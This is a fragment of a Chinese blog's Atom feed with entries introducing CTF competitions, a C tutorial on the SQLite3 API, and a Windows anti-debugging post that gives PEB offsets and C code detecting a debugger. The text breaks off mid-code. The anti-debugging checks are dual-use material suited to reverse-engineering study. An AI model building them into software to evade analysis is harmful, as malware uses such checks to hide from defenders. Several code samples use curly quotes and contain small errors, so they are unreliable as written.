    <![CDATA[<p>其实参加的比较少，很多也不懂，总结了一点点。<br>其实Crack类的题目，技巧很重要，阅读题目能力很关键，需要善于结合周边信息，善于用各种工具，善于多方位思考问题，找准关键地方，迅速定位。<br>下面举例说明。]]>
    
    </summary>
    
      <category term="CTF" scheme="http://yoursite.com/categories/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[CTF简介]]></title>
    <link href="http://yoursite.com/2014/11/07/CTF%E7%AE%80%E4%BB%8B/"/>
    <id>http://yoursite.com/2014/11/07/CTF简介/</id>
    <published>2014-11-07T11:43:15.000Z</published>
    <updated>2014-11-13T09:22:16.000Z</updated>
    <content type="html"><![CDATA[<h2 id="CTF概念：">CTF概念：</h2>
<p>CTF全称Capture The Flag，即夺旗比赛，衍生自古代军事战争模式，两队人马前往对方基地夺旗，每队人马须在保护好己方旗帜的情况下将对方旗帜带回基地。</p>
<h2 id="发展：">发展：</h2>
<p>CTF比赛起源于DEFCON黑客大会（DEFCON 4  1996年），已发展全球范围网络安全圈的流行比赛。<br>“世界杯”： DEFCON  CTF<br>“分站赛” 、“大奖赛”：2012年全球三十多个国际性赛事<br>“地区赛”、“内部赛”：各个国家、地区、单位内部赛事。<a id="more"></a></p>
<h2 id="竞赛形式：">竞赛形式：</h2>
<p>1.解题模式<br>2.攻防模式<br>3.混合模式</p>
<h2 id="技能：">技能：</h2>
<p>1、逆向工程。我强烈建议你得到一个IDA Pro的副本，这有免费版和学生认证书。尝试下crack me的问题。写出你的C语言代码，然后进行反编译。重复这个过程，同时更改编译器的选项和程序逻辑。在编译的二进制文件中“if”声明和“select”语句有什么不同？我建议你专注于一个单一的原始架构：x86、x86_64或是ARM。在处理器手册中查找你要找的，参考有：<br>《Practical Reverse Engineering》<br>《Reversing: Secrets of Reverse Engineering》<br>《The IDA Pro Book》<br>2、加密。虽然这不是我自己的强项，但这里有一些参考还是要看看的：<br>《Applied Cryptography》<br>《Practical Cryptography》<br>Cryptography I<br>3、ACM编程。选择一个高层次的语言，我推荐使用Python或Ruby。对于Python而言，阅读下《Dive into Python》和找一些你要加入的项目。值得一提的是Metasploit是用Ruby编写的。关于算法和数据结构的计算机科学课也要在此类中要走很长的路。看看来自CTF和其他编程的挑战，战胜他们。专注于创建一个解决方法而不是最快或是最好的方法，特别是在你刚刚开始的时候。<br>4、web漏洞。有很多的网络编程技术，在CTF中最流行的就是PHP和SQL。php.net网站（译者注：需翻墙）是一个梦幻的语言参考，只要搜索你好奇的功能。PHP之后，看到网页上存在的挑战的最常见的方法就是使用Python或Ruby脚本。主要到技术有重叠，这有一本关于网络安全漏洞的好书，是《黑客攻防技术宝典：Web实战篇》。除此之外，在学习了一些基本技术之后，你可能也想通过比较流行的免费软件工具来取得一些经验。这些在CTF竞争中也可能会偶尔用到，这些加密会和你凭经验得到的加密重叠。<br>5、二进制练习。这是我个人的爱好，我建议你在进入二进制练习前要完成逆向工程的学习。这有几个你可以独立学习的常见类型漏洞：栈溢出，堆溢出，对于初学者的格式字符串漏洞。很多是通过练习思维来辨别漏洞的类型。学习以往的漏洞是进入二进制门槛的最好途径。推荐你可以阅读：<br>《黑客：漏洞发掘的艺术》<br>《黑客攻防技术宝典：系统实战篇》<br>《The Art of Software Security Assessment》<br>6、取证/网络。大多数的CTF团队往往有“一个”负责取证的人。</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="CTF概念：">CTF概念：</h2>
<p>CTF全称Capture The Flag，即夺旗比赛，衍生自古代军事战争模式，两队人马前往对方基地夺旗，每队人马须在保护好己方旗帜的情况下将对方旗帜带回基地。</p>
<h2 id="发展：">发展：</h2>
<p>CTF比赛起源于DEFCON黑客大会（DEFCON 4  1996年），已发展全球范围网络安全圈的流行比赛。<br>“世界杯”： DEFCON  CTF<br>“分站赛” 、“大奖赛”：2012年全球三十多个国际性赛事<br>“地区赛”、“内部赛”：各个国家、地区、单位内部赛事。]]>
    
    </summary>
    
      <category term="CTF" scheme="http://yoursite.com/categories/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[C语言操作SQL]]></title>
    <link href="http://yoursite.com/2014/11/05/C%E8%AF%AD%E8%A8%80%E6%93%8D%E4%BD%9CSQLITE3%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    <id>http://yoursite.com/2014/11/05/C语言操作SQLITE3数据库/</id>
    <published>2014-11-05T03:31:56.000Z</published>
    <updated>2014-11-13T09:24:29.000Z</updated>
    <content type="html"><![CDATA[<h2 id="一、版本">一、版本</h2>
<p>从 www.sqlite.org 网站可下载到最新的 sqlite 代码和编译版本。写此文章时，最新代码是 3.3.17 版本。<br>很久没有去下载 sqlite 新代码，因此也不知道 sqlite 变化这么大。以前很多文件，现在全部合并成一个 sqlite3.c 文件。<br>如果单独用此文件，是挺好的，省去拷贝一堆文件还担心有没有遗漏。但是也带来一个问题：此文件太大，快接近7万行代码，VC开它整个机器都慢下来 了。<br>如果不需要改它代码，也就不需要打开 sqlite3.c 文件，机器不会慢。但是，下面我要写通过修改 sqlite 代码完成加密功能，那时候就比较痛苦了。<a id="more"></a></p>
<h2 id="二、基本编译">二、基本编译</h2>
<p>这个不想多说了，在 VC 里新建 dos 控制台空白工程，把 sqlite3.c 和 sqlite3.h 添加到工程，再新建一个 main.cpp 文件。在里面写:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">extern</span> “C”</div><div class="line">{</div><div class="line"><span class="preprocessor">#include “./sqlite3.h”</span></div><div class="line">};</div><div class="line"><span class="keyword">int</span> main( <span class="keyword">int</span> , <span class="keyword">char</span>** )</div><div class="line">{</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<p>为什么要 extern “C” ？如果问这个问题，我不想说太多，这是C++的基础。要在 C++ 里使用一段 C 的代码，必须要用 extern “C” 括起来。<br>C++跟 C虽然语法上有重叠，但是它们是两个不同的东西，内存里的布局是完全不同的，在C++编译器里不用extern “C”括起C代码，会导致编译器不知道该如何为 C 代码描述内存布局。<br>可能在 sqlite3.c 里人家已经把整段代码都 extern “C” 括起来了，但是你遇到一个 .c 文件就自觉的再括一次，也没什么不好。<br>基本工程就这样建立起来了。编译，可以通过。但是有一堆的 warning。可以不管它。</p>
<h2 id="三、SQLITE操作入门">三、SQLITE操作入门</h2>
<p>sqlite提供的是一些C函数接口，你可以用这些函数操作数据库。通过使用这些接口，传递一些标准 sql 语句（以 char * 类型）给 sqlite 函数，sqlite 就会为你操作数据库。<br>sqlite 跟MS的access一样是文件型数据库，就是说，一个数据库就是一个文件，此数据库里可以建立很多的表，可以建立索引、触发器等等，但是，它实际上得到的就是一个文件。<br>备份这个文件就备份了整个数据库。sqlite 不需要任何数据库引擎，这意味着如果你需要 sqlite 来保存一些用户数据，甚至都不需要安装数据库。<br>下面开始介绍数据库基本操作。</p>
<h3 id="1_基本流程（1）关键数据结构">1 基本流程（1）关键数据结构</h3>
<p>sqlite 里最常用到的是sqlite3 <em> 类型。从数据库打开开始，sqlite就要为这个类型准备好内存，直到数据库关闭，整个过程都需要用到这个类型.<br>当数据库打开时开始，这个类型的变量就代表了你要操作的数据库。下面再详细介绍。<br>（2）打开数据库<br>int sqlite3_open( 文件名, sqlite3 <em>* );<br>用这个函数开始数据库操作。<br>需要传入两个参数，一是数据库文件名，比如：c:\DongChunGuang_Database.db。<br>文件名不需要一定存在，如果此文件不存在，sqlite 会自动建立它。如果它存在，就尝试把它当数据库文件来打开。<br>sqlite3 </em></em> 参数即前面提到的关键数据结构。这个结构底层细节如何，你不要关它。<br>函数返回值表示操作是否正确，如果是SQLITE_OK 则表示操作正常。相关的返回值sqlite定义了一些宏。具体这些宏的含义可以参考 sqlite3.h 文件。<br>里面有详细定义（顺便说一下，sqlite3 的代码注释率自称是非常高的，实际上也的确很高。只要你会看英文，sqlite 可以让你学到不少东西）。<br>下面介绍关闭数据库后，再给一段参考代码。<br>（3）关闭数据库</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> sqlite3_close(sqlite3 *);</div><div class="line">前面如果用 sqlite3_open 开启了一个数据库，结尾时不要忘了用这个函数关闭数据库。</div><div class="line">下面给段简单的代码：</div><div class="line"><span class="keyword">extern</span> “C”</div><div class="line">{</div><div class="line"><span class="preprocessor">#include “./sqlite3.h”</span></div><div class="line">};</div><div class="line"><span class="keyword">int</span> main( <span class="keyword">int</span> , <span class="keyword">char</span>** )</div><div class="line">{</div><div class="line">sqlite3 * db = NULL; <span class="comment">//声明sqlite关键结构指针</span></div><div class="line"><span class="keyword">int</span> result;</div><div class="line"></div><div class="line"><span class="comment">//打开数据库</span></div><div class="line"><span class="comment">//需要传入 db 这个指针的指针，因为 sqlite3_open 函数要为这个指针分配内存，还要让db指针指向这个内存区</span></div><div class="line">result = sqlite3_open( “c:\Dcg_database.db”, &db );</div><div class="line"><span class="keyword">if</span>( result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="comment">//数据库打开失败</span></div><div class="line"><span class="keyword">return</span> -<span class="number">1</span>;</div><div class="line">}</div><div class="line"><span class="comment">//数据库操作代码</span></div><div class="line"><span class="comment">//…</span></div><div class="line"></div><div class="line"><span class="comment">//数据库打开成功</span></div><div class="line"><span class="comment">//关闭数据库</span></div><div class="line">sqlite3_close( db );</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<p>这就是一次数据库操作过程。</p>
<h3 id="2_SQL语句操作">2 SQL语句操作</h3>
<p>本节介绍如何用sqlite 执行标准 sql 语法。</p>
<p>（1）执行sql语句</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> sqlite3_exec(sqlite3*, <span class="keyword">const</span> <span class="keyword">char</span> *sql, sqlite3_callback, <span class="keyword">void</span> *,  <span class="keyword">char</span> **errmsg );</div><div class="line">这就是执行一条 sql 语句的函数。</div><div class="line">第<span class="number">1</span>个参数不再说了，是前面open函数得到的指针。说了是关键数据结构。</div><div class="line">第<span class="number">2</span>个参数<span class="keyword">const</span> <span class="keyword">char</span> *sql 是一条 sql 语句，以\<span class="number">0</span>结尾。</div><div class="line">第<span class="number">3</span>个参数sqlite3_callback 是回调，当这条语句执行之后，sqlite3会去调用你提供的这个函数。（什么是回调函数，自己找别的资料学习）</div><div class="line">第<span class="number">4</span>个参数<span class="keyword">void</span> * 是你所提供的指针，你可以传递任何一个指针参数到这里，这个参数最终会传到回调函数里面，如果不需要传递指针给回调函数，可以填NULL。</div><div class="line">等下我们再看回调函数的写法，以及这个参数的使用。</div><div class="line">第 <span class="number">5</span>个参数<span class="keyword">char</span> ** errmsg 是错误信息。注意是指针的指针。</div><div class="line">sqlite3里面有很多固定的错误信息。执行 sqlite3_exec 之后，执行失败时可以查阅这个指针（直接 <span class="built_in">printf</span>(“%s\n”,errmsg)）得到一串字符串信息，这串信息告诉你错在什么地方。</div><div class="line">sqlite3_exec函数通过修改你传入的指针的指 针，把你提供的指针指向错误提示信息，这样sqlite3_exec函数外面就可以通过这个 <span class="keyword">char</span>*得到具体错误提示。</div><div class="line">说明：通常，sqlite3_callback 和它后面的 <span class="keyword">void</span> * 这两个位置都可以填 NULL。</div><div class="line">填NULL表示你不需要回调。比如你做 insert 操作，做 <span class="keyword">delete</span> 操作，就没有必要使用回调。而当你做 select 时，就要使用回调，因为 sqlite3 把数据查出来，得通过回调告诉你查出了什么数据。</div></pre></td></tr></table></figure>

<p>（2）exec 的回调</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">typedef</span> <span class="keyword">int</span> (*sqlite3_callback)(<span class="keyword">void</span>*,<span class="keyword">int</span>,<span class="keyword">char</span>**, <span class="keyword">char</span>**);</div><div class="line">你的回调函数必须定义成上面这个函数的类型。下面给个简单的例子：</div><div class="line"><span class="comment">//sqlite3的回调函数</span></div><div class="line"><span class="comment">// sqlite 每查到一条记录，就调用一次这个回调</span></div><div class="line"><span class="keyword">int</span> LoadMyInfo( <span class="keyword">void</span> * para, <span class="keyword">int</span> n_column, <span class="keyword">char</span> ** column_value, <span class="keyword">char</span> ** column_name )</div><div class="line">{</div><div class="line"><span class="comment">//para是你在 sqlite3_exec 里传入的 void * 参数</span></div><div class="line"><span class="comment">//通过para参数，你可以传入一些特殊的指针（比如类指针、结构指针），然后在这里面强制转换成对应的类型（这里面是void*类型，必须强制转换成你的类型才可用）。然后操作这些数据</span></div><div class="line"><span class="comment">//n_column是这一条记录有多少个字段 (即这条记录有多少列)</span></div><div class="line"><span class="comment">// char ** column_value 是个关键值，查出来的数据都保存在这里，它实际上是个1维数组（不要以为是2维数组），每一个元素都是一个 char * 值，是一个字段内容（用字符串来表示，以\0结尾）</span></div><div class="line"></div><div class="line"><span class="comment">//char ** column_name 跟 column_value是对应的，表示这个字段的字段名称</span></div><div class="line"></div><div class="line"><span class="comment">//这里，我不使用 para 参数。忽略它的存在.</span></div><div class="line"></div><div class="line"><span class="keyword">int</span> i;</div><div class="line"></div><div class="line"><span class="built_in">printf</span>( “记录包含 %d 个字段\n”, n_column );</div><div class="line"><span class="keyword">for</span>( i = <span class="number">0</span> ; i &lt; n_column; i ++ )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “字段名:%s  ?&gt; 字段值:%s\n”,  column_name[i], column_value[i] );</div><div class="line">}</div><div class="line"><span class="built_in">printf</span>( “——————\n“ );</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div><div class="line"></div><div class="line"><span class="keyword">int</span> main( <span class="keyword">int</span> , <span class="keyword">char</span> ** )</div><div class="line">{</div><div class="line">sqlite3 * db;</div><div class="line"><span class="keyword">int</span> result;</div><div class="line"><span class="keyword">char</span> * errmsg = NULL;</div><div class="line"></div><div class="line">result = sqlite3_open( “c:\\Dcg_database.db”, &db );</div><div class="line"><span class="keyword">if</span>( result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="comment">//数据库打开失败</span></div><div class="line"><span class="keyword">return</span> -<span class="number">1</span>;</div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//数据库操作代码</span></div><div class="line"><span class="comment">//创建一个测试表，表名叫 MyTable_1，有2个字段： ID 和 name。其中ID是一个自动增加的类型，以后insert时可以不去指定这个字段，它会自己从0开始增加</span></div><div class="line">result = sqlite3_exec( db, “create table MyTable_1( ID integer primary key autoincrement, name nvarchar(<span class="number">32</span>) )”, NULL, NULL, errmsg );</div><div class="line"><span class="keyword">if</span>(result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “创建表失败，错误码:%d，错误原因:%s\n”, result, errmsg );</div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//插入一些记录</span></div><div class="line">result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘走路’ )”, <span class="number">0</span>, <span class="number">0</span>, errmsg );</div><div class="line"><span class="keyword">if</span>(result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );</div><div class="line">}</div><div class="line"></div><div class="line">result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘骑单车’ )”, <span class="number">0</span>, <span class="number">0</span>, errmsg );</div><div class="line"><span class="keyword">if</span>(result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );</div><div class="line">}</div><div class="line"></div><div class="line">result = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘坐汽车’ )”, <span class="number">0</span>, <span class="number">0</span>, errmsg );</div><div class="line"><span class="keyword">if</span>(result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “插入记录失败，错误码:%d，错误原因:%s\n”, result, errmsg );</div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//开始查询数据库</span></div><div class="line">result = sqlite3_exec( db, “select * from MyTable_1”, LoadMyInfo, NULL, errmsg );</div><div class="line"></div><div class="line"><span class="comment">//关闭数据库</span></div><div class="line">sqlite3_close( db );</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<p>通过上面的例子，应该可以知道如何打开一个数据库，如何做数据库基本操作。<br>有这些知识，基本上可以应付很多数据库操作了。</p>
<h3 id="（3）不使用回调查询数据库">（3）不使用回调查询数据库</h3>
<p>上面介绍的 sqlite3_exec 是使用回调来执行 select 操作。还有一个方法可以直接查询而不需要回调。<br>但是，我个人感觉还是回调好，因为代码可以更加整齐，只不过用回调很麻烦，你得声明一个函数，如果这个函数 是类成员函数，你还不得不把它声明成 static 的<br>（要问为什么？这又是C++基础了。C++成员函数实际上隐藏了一个参数：this，C++调用类的成员函数的时候，隐含把类指针当成函数的第一个参数 传递进去。<br>结果，这造成跟前面说的 sqlite 回调函数的参数不相符。只有当把成员函数声明成 static 时，它才没有多余的隐含的this参数）。<br>虽然回调显得代码整齐，但有时候你还是想要非回调的 select 查询。这可以通过 sqlite3_get_table 函数做到。<br>int sqlite3_get_table(sqlite3<em>, const char </em>sql, char <strong><em>resultp, int </em>nrow, int *ncolumn, char </strong>errmsg );<br>第1个参数不再多说，看前面的例子。<br>第2个参数是 sql 语句，跟 sqlite3_exec 里的 sql 是一样的。是一个很普通的以\0结尾的char *字符串。<br>第3个参数是查询结果，它依然一维数组（不要以为是二维数组，更不要以为是三维数组）。它内存布局是：第一行是字段名称，后面是紧接着是每个字段的值。下面用例子来说事。<br>第4个参数是查询出多少条记录（即查出多少行）。<br>第5个参数是多少个字段（多少列）。<br>第6个参数是错误信息，跟前面一样，这里不多说了。<br>下面给个简单例子:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">int</span> main( <span class="keyword">int</span> , <span class="keyword">char</span> ** )</div><div class="line">{</div><div class="line">sqlite3 * db;</div><div class="line"><span class="keyword">int</span> result;</div><div class="line"><span class="keyword">char</span> * errmsg = NULL;</div><div class="line"><span class="keyword">char</span> **dbResult; <span class="comment">//是 char ** 类型，两个*号</span></div><div class="line"><span class="keyword">int</span> nRow, nColumn;</div><div class="line"><span class="keyword">int</span> i , j;</div><div class="line"><span class="keyword">int</span> index;</div><div class="line"></div><div class="line">result = sqlite3_open( “c:\\Dcg_database.db”, &db );</div><div class="line"><span class="keyword">if</span>( result != SQLITE_OK )</div><div class="line">{</div><div class="line"><span class="comment">//数据库打开失败</span></div><div class="line"><span class="keyword">return</span> -<span class="number">1</span>;</div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//数据库操作代码</span></div><div class="line"><span class="comment">//假设前面已经创建了 MyTable_1 表</span></div><div class="line"><span class="comment">//开始查询，传入的 dbResult 已经是 char **，这里又加了一个 & 取地址符，传递进去的就成了 char ***</span></div><div class="line">result = sqlite3_get_table( db, “select * from MyTable_1”, &dbResult, &nRow, &nColumn, &errmsg );</div><div class="line"><span class="keyword">if</span>( SQLITE_OK == result )</div><div class="line">{</div><div class="line"><span class="comment">//查询成功</span></div><div class="line">index = nColumn; <span class="comment">//前面说过 dbResult 前面第一行数据是字段名称，从 nColumn 索引开始才是真正的数据</span></div><div class="line"><span class="built_in">printf</span>( “查到%d条记录\n”, nRow );</div><div class="line"></div><div class="line"><span class="keyword">for</span>(  i = <span class="number">0</span>; i &lt; nRow ; i++ )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “第 %d 条记录\n”, i+<span class="number">1</span> );</div><div class="line"><span class="keyword">for</span>( j = <span class="number">0</span> ; j &lt; nColumn; j++ )</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>( “字段名:%s  ?&gt; 字段值:%s\n”,  dbResult[j], dbResult [index] );</div><div class="line">++index; <span class="comment">// dbResult 的字段值是连续的，从第0索引到第 nColumn – 1索引都是字段名称，从第 nColumn 索引开始，后面都是字段值，它把一个二维的表（传统的行列表示法）用一个扁平的形式来表示</span></div><div class="line">}</div><div class="line"><span class="built_in">printf</span>( “——-\n” );</div><div class="line">}</div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//到这里，不论数据库查询是否成功，都释放 char** 查询结果，使用 sqlite 提供的功能来释放</span></div><div class="line">sqlite3_free_table( dbResult );</div><div class="line"></div><div class="line"><span class="comment">//关闭数据库</span></div><div class="line">sqlite3_close( db );</div><div class="line"><span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></table></figure>

<p>到这个例子为止，sqlite3 的常用用法都介绍完了。<br>用以上的方法，再配上 sql 语句，完全可以应付绝大多数数据库需求。</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="一、版本">一、版本</h2>
<p>从 www.sqlite.org 网站可下载到最新的 sqlite 代码和编译版本。写此文章时，最新代码是 3.3.17 版本。<br>很久没有去下载 sqlite 新代码，因此也不知道 sqlite 变化这么大。以前很多文件，现在全部合并成一个 sqlite3.c 文件。<br>如果单独用此文件，是挺好的，省去拷贝一堆文件还担心有没有遗漏。但是也带来一个问题：此文件太大，快接近7万行代码，VC开它整个机器都慢下来 了。<br>如果不需要改它代码，也就不需要打开 sqlite3.c 文件，机器不会慢。但是，下面我要写通过修改 sqlite 代码完成加密功能，那时候就比较痛苦了。]]>
    
    </summary>
    
      <category term="基础编程" scheme="http://yoursite.com/categories/%E5%9F%BA%E7%A1%80%E7%BC%96%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[windows常见反调试]]></title>
    <link href="http://yoursite.com/2014/10/31/windows%E5%B8%B8%E8%A7%81%E5%8F%8D%E8%B0%83%E8%AF%95/"/>
    <id>http://yoursite.com/2014/10/31/windows常见反调试/</id>
    <published>2014-10-31T07:17:40.000Z</published>
    <updated>2014-11-13T09:24:40.000Z</updated>
    <content type="html"><![CDATA[<h2 id="1-_PEB">1. <strong>PEB</strong></h2>
<p>0×002    BeingDebugged<br>正常运行：0×0        调试态：0×1<br>0x00c    Ldr：指向堆内存区地址<br>调试状态堆内存全部填充为0xFEEEFEEE<br>0×018    ProcessHeap：指向HEAP结构体<br>0x00c    Flags    正常运行：0×2    调试态：0×50000062<br>0×010    ForceFlags    正常运行：0×2    调试态：0×40000060<br>0×068    NtGlobalFlag<br>正常运行：0×0        调试态：0×70<br>代码示例：<a id="more"></a></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div></pre></td><td class="code"><pre><div class="line"><span class="preprocessor">#include </span></div><div class="line"><span class="preprocessor">#include</span></div><div class="line"><span class="keyword">extern</span> “C” BOOL WINAPI IsDebuggerPresent(VOID);</div><div class="line"><span class="keyword">int</span> main()</div><div class="line">{</div><div class="line">FARPROC pProc = NULL;</div><div class="line">LPBYTE pTeb = NULL;</div><div class="line">LPBYTE pPeb = NULL;</div><div class="line">LPBYTE pLdr = NULL;</div><div class="line">LPBYTE pHeap = NULL;</div><div class="line">DWORD dst[<span class="number">4</span>] = {<span class="number">0xEEFEEEFE</span>, <span class="number">0xEEFEEEFE</span>, <span class="number">0xEEFEEEFE</span>, <span class="number">0xEEFEEEFE</span>};</div><div class="line"><span class="comment">//BeingDebugged</span></div><div class="line"><span class="built_in">printf</span>(“BeingDebugged———\n”);</div><div class="line"><span class="keyword">if</span> (IsDebuggerPresent())</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span class="comment">//Ldr</span></div><div class="line"><span class="built_in">printf</span>(“\nLdr———\n”);</div><div class="line">pProc = GetProcAddress(GetModuleHandle(“ntdll.dll”), “NtCurrentTeb”);</div><div class="line">pTeb = (LPBYTE)(*pProc)();</div><div class="line">pPeb = (LPBYTE)*(LPDWORD)(pTeb + <span class="number">0</span>×<span class="number">30</span>);</div><div class="line">pLdr = (LPBYTE)*(LPDWORD)(pPeb + <span class="number">0xc</span>);</div><div class="line">__try</div><div class="line">{</div><div class="line"><span class="keyword">while</span> (<span class="number">1</span>)</div><div class="line">{</div><div class="line"><span class="keyword">if</span> (!<span class="built_in">memcmp</span>(dst, pLdr, <span class="keyword">sizeof</span>(dst)))</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line"><span class="keyword">break</span>;</div><div class="line">}</div><div class="line">pLdr++;</div><div class="line">}</div><div class="line">}</div><div class="line">__except (EXCEPTION_EXECUTE_HANDLER)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span class="comment">//ProcessHeap</span></div><div class="line"><span class="built_in">printf</span>(“\nProcessHeap———\n”);</div><div class="line">pHeap = (LPBYTE)*(LPDWORD)(pPeb + <span class="number">0</span>×<span class="number">18</span>);</div><div class="line"><span class="keyword">if</span> (*(LPDWORD)(pHeap + <span class="number">0x0c</span>) == <span class="number">0</span>×<span class="number">50000062</span> || *(LPDWORD)(pHeap + <span class="number">0</span>×<span class="number">10</span>) == <span class="number">0</span>×<span class="number">40000060</span>)</div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“Debugger Detected!\n”);</div><div class="line">}</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line"><span class="built_in">printf</span>(“No Debugger!\n”);</div><div class="line">}</div><div class="line"><span 